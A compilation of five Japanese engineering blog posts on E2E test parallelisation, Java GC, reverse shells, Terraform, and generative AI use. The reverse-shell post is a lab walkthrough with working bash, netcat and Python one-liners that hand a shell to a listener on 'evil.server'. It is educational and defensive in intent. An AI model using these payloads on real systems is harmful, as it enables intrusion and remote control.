noriharu3 です。 E2Eテストの実行時間短縮を目指して、複数サーバーでテストを並列実行してみましたのでご紹介します。 複数のサーバーでE2Eテストを実行する方法 E2Eテストを並列実行させる E2Eテストを複数のサーバーで並列実行させる 結果 Before After 最後に 複数のサーバーでE2Eテストを実行する方法 元々E2Eテストは以下の構成で実装されていました。 Java Gradle Selenium Gradleを使用していたので並列実行するだけなら、パラメーターを設定するのみ。 なのですが、今回はE2Eテストを1つのサーバーで並列実行するのではなく、 複数サーバーでE2Eテストを並列実行できないか 模索しました。 理由としては、E2Eのテストケース毎にDBの ロールバック が必要となっていたため、 1つのサーバーで並列実行することがそもそもできなかったからです。 E2Eテストを並列実行させる Gradleを使っている場合は、パラメーターを設定するだけです。 終わりですw。 docs.gradle.org // build.gradle test { useJUnitPlatform () ++ maxParallelForks = 2 } E2Eテストを複数のサーバーで並列実行させる テスト実行前の事前処理で実行するサーバーを決定し、テスト毎に実行するサーバーを切り替えます。 具体的には、テスト未実施のサーバーリスト一覧をテキストファイルに保持しておき、そこからテストを実行するサーバーを決定します。 処理の流れ サーバーリストから、テストを実行するサーバーを決定する @BeforeAll に処理を追加することで実現 サーバーリストからサーバーを取得する際の 排他制御 は flock コマンドでサクッと実装 テスト実行する DBを ロールバック する サーバーリスト一覧にサーバーを戻す @AfterAll に処理を追加することで実現 // e2e_server_list e2e_server_1 e2e_server_2 // E2EテストプログラムのAbstract Class ... (途中省略) @BeforeAll protected void リモートホスト割り振り() { Map<String, String> result; try { result = execCommand( "sh" , "server_pop_push.sh" , "pop" ); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } setServerName(result.get( "stdout" )); } ... (途中省略) @AfterAll public void リモートホスト返却() { try { execCommand( "sh" , "server_pop_push.sh" , "push" , getServerName()); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } } } ... (途中省略) // server_pop_push.sh SERVER_LIST_FILE = " e2e_server_list " LOCK_FILE = " /tmp/e2e.lock " # 0/1/2以外の任意のファイルディスクリプタ(番号)を指定 exec 200 >" ${LOCK_FILE} " flock 200 ### メイン処理開始 if [ $1 = "pop" ]; then cat $SERVER_LIST_FILE | tail -n 1 sed -ie ' $d ' $SERVER_LIST_FILE elif [ $2 != '' ]; then echo $2 >> $SERVER_LIST_FILE else echo ' 引数が不正です。 ' fi 結果 結果として、2台のサーバーで並列実行したところ、テスト時間は約半分(40%)となりました。 Before 1台のサーバーで順番にテストを実行していました。 After 指定したサーバ台数で分散して、E2Eテストを実行できるようになりました。。 各サーバに均等に処理が振り分けるわけではなく、テスト未実施のサーバーに振り分けられます。 2台のサーバーで並列実行したところ、テスト時間は約半分(40%)となりました。 最後に E2Eテストを 分散 並列実行 したブログは多くあるかと思いますが、これらは 1つのサーバーに対して複数のブラウザを立てて処理を実行するもの がほとんどでした。 DBの ロールバック が必要など、何らかの理由で単純にE2Eテストを並列処理できず困っている方に、何らかのヒントを提供することができたら幸いです。
はじめまして!バックエンドエンジニアのnnhkrnkと申します! 先日組み込み系エンジニアの友人と話していた際、 C言語 ではメモリをユーザが意図的に開放しないと メモリリーク が起きるということを初めて知りました。 自分は普段 Java を書いてますが、メモリを意識してコーディングをしたことはほとんどありません。どのような仕組みになっているのか気になったため、 Java におけるメモリ解放について調べてみました! メモリ解放は誰がやっているのか メモリ解放の仕組み 4種類のメモリ領域 ヒープ領域の詳細 ガベージコレクション マイナーGC フルGC おわりに 参考 メモリ解放は誰がやっているのか Cや C++ ではユーザが意図的にメモリ管理をする必要がありました。 Java では JVM がその役割を担っています。メモリの使用や解放を自動で行ってくれるため、ユーザがメモリを意識せずにコーディングできるというわけです。 メモリ解放の仕組み メモリ解放は JVM の ガベージコレクション ( GC ) という機能で行われています。 ガベージコレクション の処理を知る前に、 JVM が管理するメモリ領域について整理していきましょう。 4種類のメモリ領域 Java プログラムが実行されると、 Java のプロセスにメモリが割り与えられます。そのメモリ領域は以下の4つの領域に分けられます。 ヒープ領域 スタック領域 メタスペース ネイティブメモリ(※ JVM ではなくOSが管理する領域) 領域 用途・特徴 ヒープ領域 生成された インスタンス の情報が保存される領域。 スタック領域 実行中のプログラムの情報が保存される領域。 実行中の行が「どこから呼び出されていて、どんな情報を参照可能か」などを持っているイメージ。 メタスペース クラス定義、メソッドコード、定数プールなどのクラス関連の情報が保存される領域。 ネイティブメモリ Java プログラムがネイティブコード(C、 C++ などで記述されたコード)を呼び出す際に使用される領域。 JVM ではなくOSが直接管理をしている。 このうち、プログラム実行中にメモリ管理が必要になるのはヒープ領域になります。 ガベージコレクション では、このヒープ領域を対象としてメモリの管理を行っています。 ヒープ領域の詳細 ヒープ領域は大きく分けて以下の2つの領域で構成されています。 Young領域 Old領域 領域 特徴 Young領域 メモリに格納されてからの時間が比較的短いデータが格納されている領域。 新しく生成されたオブジェクトが一時的に配置される。 Old領域 メモリに格納されてからの時間が比較的長いデータが格納されている領域。 Young領域からのオブジェクトが長寿命のものとして移動する。 Young領域にはさらに Eden と Survivor の2つの領域に分けられます。 Survivor は領域が2つありますが、どちらも役割は同じです。 ヒープ領域の詳細 ガベージコレクション ガベージコレクション の処理の流れを理解する前に、 ガベージコレクション には主に以下の2種類があるということを押さえておきましょう。 ガベージコレクション の種類 対象領域 トリガー条件 マイナー GC Young領域(Eden領域、Survivor領域) Eden領域がいっぱいになった場合 フル GC ヒープ領域全体(Young領域とTenured領域) Tenured領域がいっぱいになった場合 マイナー GC マイナー GC は以下のルールに沿ってメモリ解放を行います。 * Eden領域のデータ * データが不要(参照されてない)の場合、データを削除してメモリを解放する * データがまだ必要な場合、データをSurvivor領域に移動させてメモリを解放する * Survivor領域のデータ * データが不要の場合、データを削除してメモリを解放する * データがまだ必要な場合、データをもう片方のSurvivor領域かTenured領域に移動させてメモリを解放する 具体的に図で見ていきましょう。 インスタンス が生成される、そのデータはEden領域に格納されます。 これが繰り返されるとEden領域がいっぱいになり、いずれはメモリが足りなくなってしまいます。 その際に実行されるのが マイナー GC です。 マイナー GC 実行契機 実行開始後、Eden領域のデータがまだ参照されているかどうかを確認します。参照されてない場合は削除、参照されている場合はSurvivor領域に移動させることでメモリ解放を行います。 マイナー GC の処理(Eden領域) 同じタイミングでSurvivor領域のメモリ解放も行います。参照されてない場合は削除することでメモリ解放を行い、まだ参照されている場合はもう片方のSurvivor領域に移動することでメモリを解放します。 マイナー GC の処理(Survivor領域) そのため、長い間解放されないデータは2つのSurvivor領域を行き来することになります。この回数には上限があり、上限を超えたデータはTenured領域に移動されるというわけです。 マイナー GC の処理(移動上限超過) フル GC マイナー GC を繰り返していくと、必要なデータが多く残っている場合にTenured領域がどんどん埋まっていってしまいます。 これを繰り返すと、マイナー GC 実行時にTenured領域に空きがないために必要なデータを移動できないという事態が発生し、マイナー GC 自体が失敗してしまいます。 その失敗を契機として実行されるのが フル GC です。 フル GC 実行契機 Full GC では、YoungとOldの両方に対してメモリ解放を行います。Young領域に対してはマイナー GC と同じルールで実施し、Oldについては不要になったメモリを解放するというシンプルなルールです。 フル GC の処理 おわりに 今回は Java のメモリ解放について記載しました! 自分が普段メモリ解放を意識せずにプログラミングできているのはこのような便利な機能のおかげなんですね!勉強になりました! それではまたの記事でお会いしましょう! 参考 以下の記事を参考にさせていただきました!ありがとうございました! JavaのGCの仕組みを整理する Javaのインスタンス変数とクラス変数(スタック領域とヒープ領域) Javaの並行処理を理解する(入門編) Java8以降のメモリ設定について JVM のメモリ構造
こんにちは、インフラエンジニアのfro-rivです。 セキュリティ関連でよく耳にするリバースシェル(reverse shell)について、 実際にどうやって実現するのか気になったので調べた結果をまとめてみました。 本記事に記載の手順は、不正な通信とみなされる可能性がありますので、 試す際は管理下のサーバで実施する・適切な許可を取得するなど法的な制約を遵守してください。 リバースシェルとは リバースシェルを試してみる 実現したいこと 前提 事前準備 パターン1:bash パターン2:netcat パターン3:python さいごに 参考 リバースシェルとは リバースシェルとは、自ら接続先サーバ(以下、リモートサーバ)に接続しに行く通常の流れとは違い、 リモートサーバからシェルを渡しに来る通信方法です。 接続の際は、自ら(接続元で)任意のポートをリッスンし、 リモートサーバがアクセスしに来る 形をとるので、リモートサーバ側の ファイアウォール で設定されているINPUT 通信制 御に関係なく接続できます。 以下は超ざっくりとしたイメージです。 ▼通常アクセスの場合 リモートサーバに接続しようとするが、 ファイアウォール で許可されていなければブロックされる 通常アクセス ▼リバースシェルの場合 リモートサーバから接続しに来るので、相手の ファイアウォール のINPUT 通信制 御は関係ない リバースシェル リバースシェルを試してみる 実際にリバースシェルはどのような動きになるのか、どんなコマンドを使うのかを試してみたいと思います。 実現したいこと リバースシェルを用いて、 evil.server (攻撃者)にて、firewalldで外部からのINPUT接続ができないようにした remote.server (リモートサーバ)の bash を操作できるようにしたいと思います。 環境は以下を利用します。 攻撃者 ホスト名: evil.server IPアドレス : 172.YY.YY.YY (マスクします) OS:Ubuntu22.04 リモートサーバ ホスト名: remote.server IPアドレス : 172.XX.XX.XX OS:Almalinux8.7 今から3つの方法でリバースシェルを試してみますが、いずれも以下のような流れになります。 攻撃者が任意のポート(今回は9999番ポートを使う)で待ち受ける リモートサーバ側でコマンドを実行し、攻撃者に bash を渡しに行く 前提 今回はお試しなので、コマンドベース且つリモートサーバを直接操作します。 実際の攻撃では、不正侵入時や何らかの不正な方法でコマンドを記載した スクリプト やバイナリファイルを配布し 自動起動 させるなど、攻撃者が任意のタイミングで起動できる(接続させる)ように仕掛けるような流れになるかと思います。 事前準備 リバースシェルを試す前に、 remote.server でfirewalldを設定し、すべてのポートを遮断します。 zoneはpublic(デフォルト)→ drop に設定します。 ## remote.serverにてfirewalldのzoneをdropにする [root@remote.server ~]# firewall-cmd --set-default-zone=drop success [root@remote.server ~]# firewall-cmd --get-default-zone drop [root@remote.server ~]# firewall-cmd --list-all drop (active) target: DROP icmp-block-inversion: no interfaces: eth0 sources: services: ports: protocols: forward: no masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: [root@remote.server ~]# 設定できたので、 evil.server より0-9999までのポートスキャンを実施しポートが閉じられていることを確認します。 ※全ポートスキャンは時間がかかりすぎることと、 SSH くらいしかサービスを起動していないこともあってとりあえず1-9999に指定してます ## 1-9999までのポートは空いていない root@evil.server:~# nmap -T4 -p 1-9999 -Pn 172.XX.XX.XX Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-30 02:29 UTC Nmap scan report for remote.server (172.XX.XX.XX) Host is up (0.0011s latency). All 9999 scanned ports on remote.server (172.XX.XX.XX) are filtered MAC Address: xx:xx:xx:xx:xx:xx (xx) Nmap done: 1 IP address (1 host up) scanned in 201.46 seconds root@evil.server:~# ## 一応SSH接続も試みて、できないことも確認 root@evil.server:~# ssh 172.XX.XX.XX ssh: connect to host 172.XX.XX.XX port 22: Connection timed out root@evil.server:~# パターン1: bash では、リバースシェルを試してみます。 まずは bash コマンドで行うパターンです。 このコマンドを使用します。 bash -i >& /dev/tcp/${EVIL_SERVER_ADDRESS}/${PORT} 0>&1 ▼攻撃側 evil.server にて、netcat(ncコマンド)を使用して9999ポートで待ち受けます。 # -l:リッスンさせる -p:ポート指定 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、 bash コマンドで evil.server の9999ポートに接続します。 [root@remote.server ~]# bash -i >& /dev/tcp/172.YY.YY.YY/9999 0>&1 すると、攻撃側のターミナルにリモートサーバのプロンプトが表示されコマンド操作することができます。OSを確認してもリモートサーバ(Almalinux8.7)であることがわかります。 Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# パターン2:netcat 次は、ncコマンド(netcat)で行うパターンです。 このコマンドを使用します。 nc -nv ${EVIL_SERVER_ADDRESS} ${PORT} -e /bin/bash ▼攻撃側 evil.server で実施することは同じで、ncを利用して9999ポートで待ち受けます。 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、ncコマンドを利用して evil.server の9999ポートに接続します。 ncコマンドの場合はvオプションを付けているので、 evil.server に接続できた旨のメッセージが出力されます。 [root@remote.server ~]# nc -nv 172.YY.YY.YY 9999 -e /bin/bash Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 172.YY.YY.YY:9999. すると、先ほどの様にプロンプトは表示されませんが攻撃側のターミナルでリモートの bash が実行できます。 こちらも同じく、Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 uname -n remote.server cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) ^C root@evil.server:~# パターン3: python 最後に、 python を使ってリバースシェルを試してみます。 このコマンドを使用します。 export RHOST="${EVIL_SERVER_ADDRESS}";export RPORT=${PORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' ▼攻撃側 evil.server で実施することは同じで、ncを利用して9999ポートで待ち受けます。 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、 python コマンドを利用して evil.server の9999ポートに接続します。 [root@remote.server ~]# export RHOST="172.YY.YY.YY";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' こちらも、攻撃側のターミナルでリモートの bash が実行できるようになりました。 こちらも同じく、Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# さいごに いかがでしたでしょうか。 ファイアウォール でINPUT(内向き)のアクセス制限をかけていても、OUTPUT(外向き)の制限がなければリバースシェルで bash を遠隔操作できることがわかりました。 手順も思っていたより簡単で、手元ですぐに試すことができました。 今回は bash , nc, python を利用する手順を紹介しましたが、これらはほんの一例で 以下のサイトの様に、 IPアドレス や実施方法・言語を選択してリバースシェル用のコマンドを生成できるサイトも存在します。 他にも ペネトレーションテスト 等で使用されるMetasploitと呼ばれる フレームワーク では、簡単にリバースシェルの ペイロード を作成できるようなので、こちらについてはまた調べてみたいと思います。 Online - Reverse Shell Generator 日々業務を行う中でも内向きの制御に目が行きがち(もちろん大事!)でしたが、改めて外向きの 通信制 御の大切さを認識できました。 また、セキュリティ関連は対策は知っていても、実際にどのように攻撃するかを知らないケースも多いので、攻撃手法を知る(違う視点で見る)という良い機会にもなりました。 個人的に興味のある分野なので、さらに深掘りして担当サービスや弊社サービスのセキュリティ向上につながっていけばベストだなと思います。 というわけで、以上とさせていただきます。 参考 https://linux.die.net/man/1/nc リバースシェルとは【用語集詳細】 Online - Reverse Shell Generator What Is a Reverse Shell | Acunetix
こんにちは。 前回は AWSの既存環境をTerraformでコード化してみた を投稿しましたが、 今回はその振り返りをしていきます。 前半はTerraformの基本的なところから、少し躓いた 三項演算子 について書いていきます。 これからTerraformでコード化していく方の助けになれればと思います。 後半は今回のコード化を通しての個人的な感想を書いていきます。 1.目次 1.目次 2. terraformコマンド 3. コード 4. コード化を通して 5. 終わりに 6. 参考 2. terraformコマンド 主に以下のコマンドを使用します。 #初期化 terraform init #仮実行 terraform plan #本実行 terraform apply #リソース取込 terraform import terraform init 書いたコードで他コマンドを実行するための準備をします。 これを実行しておかないとplanやapplyはできません。 terraform plan 実際に変更は行わず、追加/変更/削除の確認ができます(いわゆるdry-run)。 planは実環境ではなく terraform.tfstate との比較を行います。 terraform.tfstateはリソース情報が記載されている json ファイルです。 terraform apply コードを元に変更を行います。 planでエラーが出ていない場合でも、applyで出ることもあります。 terraform import コード化したリソースがすでに存在する場合、このコマンドを用いて terraform.tfstate に取り込みます。 importの書式は公式ドキュメントの各リソースのページ下部にあります。 上記以外にもterraform.tfstateを参照するコマンドで terraform state list :terraform.tfstateで管理しているリソースのリスト terraform state show "リソース名" :"リソース名"の情報 があります。 そのほか、plan/applyの実行時に -target=特定リソース と引数を渡すことで全体ではなく対象を絞ることが可能になります。 example_ec2_instance というリソースのみplanを実行する場合は、 terraform plan -target=module.aws_ec2.example_ec2_instance 複数のリソースにしたい場合は、 -target= を含めスペース区切りで引数を追加すれば可能です。 3. コード リソースごとに必要な設定項目は公式ドキュメントが分かりやすいと思います。 VSCode を使用されている場合は、 拡張機能 に「HashiCorp Terraform」がありますので、そちらをインストールすることで設定項目などの補完もしてくれます。 count 三項演算子 を使用することができ、本番/検証環境で場合分けをすることが可能です。 ただし、多用しすぎると可読性が下がるため、なるべく使わなくていいようにした方が無難だと思います・・・。 以下がcountを用いた 三項演算子 の使い方の一例です。 count = "${var.a == "値" ? "0" : "1"}" 変数aに格納されている値と、条件となる値が一致していない場合に、そのリソースが作成されます。 main.tfで変数 env にstaging以外が格納されている場合に、「application_loadbalancer_public」が作成されます。 module " elb_module " { source = " ../../modules/elb " env = " product " ※省略 } resource " aws_lb " " application_loadbalancer_public " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " name = " application-loadbalancer-public " subnets = [ var.example_subnet1_id, var.example_subnet2_id ] load_balancer_type = " application " internal = false enable_deletion_protection = false desync_mitigation_mode = " defensive " xff_header_processing_mode = " append " idle_timeout = 60 access_logs { bucket = " example-bucket " enabled = true prefix = " AWSLogs " } } しかし、こうして作成したLBに対してリスナーを設定しようとすると、 そのままではエラーとなってしまいます。 LBのARNを参照させる際にインデックスを指定---①してあげる必要があります。 resource " aws_lb_listener " " listener_https " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " load_balancer_arn = aws_lb.alb_from_office [ 0 ] .arn --- ① port = " 443 " protocol = " HTTPS " ssl_policy = " ELBSecurityPolicy-2016-08 " certificate_arn = var.default_certificate_arn tags = {} tags_all = {} default_action { type = " fixed-response " order = 1 fixed_response { content_type = " text/plain " message_body = " Not Found " status_code = " 404 " } } } for_each 同じ構成のリソースが複数必要な場合に有用です。 今回のコード化ではfor_eachを使用していないため、具体的な使用例は割愛させて頂きます。 こちらも公式ドキュメントに詳細があります。 4. コード化を通して コード書くよりも・・・ AWS のリソースを見てコード化していくことは苦ではありませんでしたが、 importでのリソース取り込みが個人的に大変でした。 リソース取り込みにはARNやIDが必要となります。 リソースを一つずつ取り込まなければならず、route53であればレコード毎、LBであればルール毎など細かいリソースもあるため気が遠くなりそうでした。 達成感 コードを書ききってplan実行時のエラーも解消させ、最終的にコードと環境で差分が出ないとなった時の達成感は大きかったです。 今後はTerraformを運用に乗せていき、コードもブラッシュアップしていく必要がありますが一区切りつきました。 最終的なゴールはCI/CDのパイプラインも実装して、インフラ部分を自動化していければと思っています。 5. 終わりに 今年の4月から本格的に AWS に触り始め、Terraform?何それ?状態からスタートした AWS 環境のコード化でした。 最初の ディレクト リ構成に悩んだり、planを実行すると出てくる差分を一つずつ潰すなど、大変なことが多くありました。 ですが、やりきることはできたので次のステップも自信をもって進めていける良い体験にはなったかと思います。 6. 参考 Terraform Registry Terraform | HashiCorp Developer
はじめに こんにちは、サーバサイドエンジニアの rakusksato です 2023年皆さんにとって1番のトピックは何だったでしょうか? 個人的には生成AIの登場、主に ChatGPT や GitHub Copilot でした。 ラク スでは、生成AIを積極的に業務へ取り入れています。 今回は約1年間、生成AIを業務利用してみて感じたことを 対話型AI と GitHub Copilot についてそれぞれ分けて話していきたいと思います。 はじめに 対話型AI(ChatGPT, Copilot Chat, Microsoft Bing, Google Bardなど) 漠然としたアイデアから具体的なアウトプットを高速に生成できる 壁打ち相手として、質問者の認識外の回答も提供 これらをふまえて、 (1):答えを教えてください 例えば、 ただし、 (2):どんなアプローチがあるか教えてください 結論 GitHub Copilot 例えば、 品質について 例えば、 以下の通り改修 結果 まとめ 対話型AI(ChatGPT, Copilot Chat, Microsoft Bing, Google Bardなど) メリットとして特に感じたのは、 漠然としたア イデア から具体的なアウトプットを高速に生成できる 対話型AIは抽象的な考えやア イデア を具体的な形にする手助けをします。 例えば、アプリケーションの アーキテクチャ 設計、新機能のア イデア 、またはプロジェクトのスコープ定義などについて考える際に、具体的な案を出すことができます。 壁打ち相手として、質問者の認識外の回答も提供 対話型AIはプログラミングや設計の際に疑問や問題に直面したとき、解決策やアプローチを考える助けになります。 この壁打ちプロセスを通じて、ユーザーが自分で考えもしなかったような解決策や視点が提供されることがあります。 このような新しい角度や気づきは、問題解決やア イデア 生成に役立つことがよくあります。 以上のように、対話型AIは多様なニーズに応じて有用な情報や インサイト を提供できるツールです。 これらをふまえて、 以下単純な例ですが、 ChatGPT でイメージをかためる場合の(個人的に思う)悪い例(1)、良い例(2)です。 (1):答えを教えてください この程度であれば一瞬ですね。 簡単!ChatGPT神!と思うには、開発業務の場合では安直かもしれません。 例えば、 以下のような考慮が必要でしょう コンテキストの不足: AIは質問のコンテキストを完全に理解しているわけではありません。そのため、特定の用途や環境において最適な解決策を提供できないことがあるでしょう パフォーマンス: AIが生成したコードは効率的でない場合があります。パフォーマンスを重視する場合は、手動での最適化が必要になるでしょう 責任: 最終的には、生成されたコードをプロダクション環境で使用する責任はユーザーにあります。AIの出力は一つの参考程度に留め、必ず専門家の目で確認することが重要でしょう その他、セキュリティや依存関係など考慮すべきことはありますね。 ただし、 プロトタイプの実装や、業務外のプロジェクトにおいていえば、開発速度の大幅な向上をもたらす可能性があります。 このような環境では、高度なセキュリティやパフォーマンスが必ずしも求められていない場合が多く、AIの即時性と効率性が際立つメリットとなるでしょう。 (2):どんなアプローチがあるか教えてください これは、複数の選択肢の中から適切な選択ができます。 候補に対して質問を投げ返すことで理解を深め、方法を決定後にAIに実装イメージを生成してもらうのが適切でしょう。 実装に限った話ではなく、例えばエラーを解決したい場合、 アーキテクチャ を選定したい場合などにも当てはまるでしょう。 結論 答えではなく、選択肢を提示してもらうよう心がけるのがベターだと思います。 GitHub Copilot AIベースのコード補完ツール、コーディングの作業時間削減や品質の向上が見込め。 以下は copilot chat の調査内容ですが、多くの人がその結果に満足していることがわかります。 github.blog これは、プロンプターがアウトプットの明確なイメージを持っていることが前提で、対するコーディング作業時間の削減が主だと思っています。 例えば、 かなり初歩的な話ですが、「複数要素から一意な要素を特定する」ような実装をアウトプットとする場合 多くは、 stream に対して filter で要素を特定する実装が提案されるでしょう。( java ベースの話になりますが) 確かに copilot はとても頼りになり、シンプルで品質の高いコードを生成してくれるでしょう。 ですが、(前述の対話型AIとかぶりますが)例えば性能面を考慮するとどうでしょうか?要素を特定するのであれば他のアプローチとして HashMap の利用もしばしば検討されます。 これらはデータサイズや頻度、メモリ制約によってプロンプターが適切な選択をする必要があり、 copilot はコーディングの時短にフォーカスして利用すべきだと思います。 品質について 「 copilot を利用することで品質が上がる」ということをよく目にします。 おおむね同意ですが、注意すべき点として copilot は、冗長なコードでも無理なく理解し、空気を読んで冗長なコードから冗長なサジェストを生成してしまうことがあげられるでしょう。 例えば、 以下のようにあえて冗長なコードに対して改修を行うとします。 class Hoge { public Hoge(Integer value1, Integer value2) { this .value1 = value1; this .value2 = value2; } Integer value1; Integer value2; } public List<Hoge> hoge(List<Hoge> list) { if (list == null ) { return new ArrayList<>(); } List<Hoge> a = null ; for ( int i = 0 ; i < list.size(); i++) { var v1 = Objects.isNull(list.get(i).value1) ? 0 : list.get(i).value1; var v2 = Objects.isNull(list.get(i).value2) ? 0 : list.get(i).value2; if (v1 > 0 ) { if (a == null ) { a = new ArrayList<>(); } else { a.add( new Hoge(list.get(i).value1, list.get(i).value2)); } } else if (v2 > 0 ) { if (a == null ) { a = new ArrayList<>(); } else { a.add( new Hoge(list.get(i).value1, list.get(i).value2)); } } } if (a != null ) { return a; } else { return new ArrayList<>(); } } 以下の通り改修 1. Hoge クラスに value3, 4 を追加 2. value3, 4 の値が 0 より多きい場合は、 Hoge をリストに追加 結果 完璧に要件を満たしてはいますが、空気を読んでしまい冗長なコードを生成してしまいます。 確かに copilot は優秀ですが、元が悪ければ必ずしも高品質なコードが生成されるわけではありません。 だらだらと書いてしまいましたが、 copilot ( 副操縦士 )というくらいですから、プロンプターは主操縦士として適切な判断力をもって利用していきましょうということですね。 まとめ 一部否定的に感じられてしまう内容もあったかと思いますが、否定的とか全くそういった感情はありません。 自身でも積極的に業務で利用しており、なかった時代には戻れないというほど恩恵を感じています。 本投稿で言いたかったのは、 生成されたコードにも責任をもちましょう! エンジニアとして適切な判断をしていきましょう! ということでした。 AI様、これからもよろしくお願いします。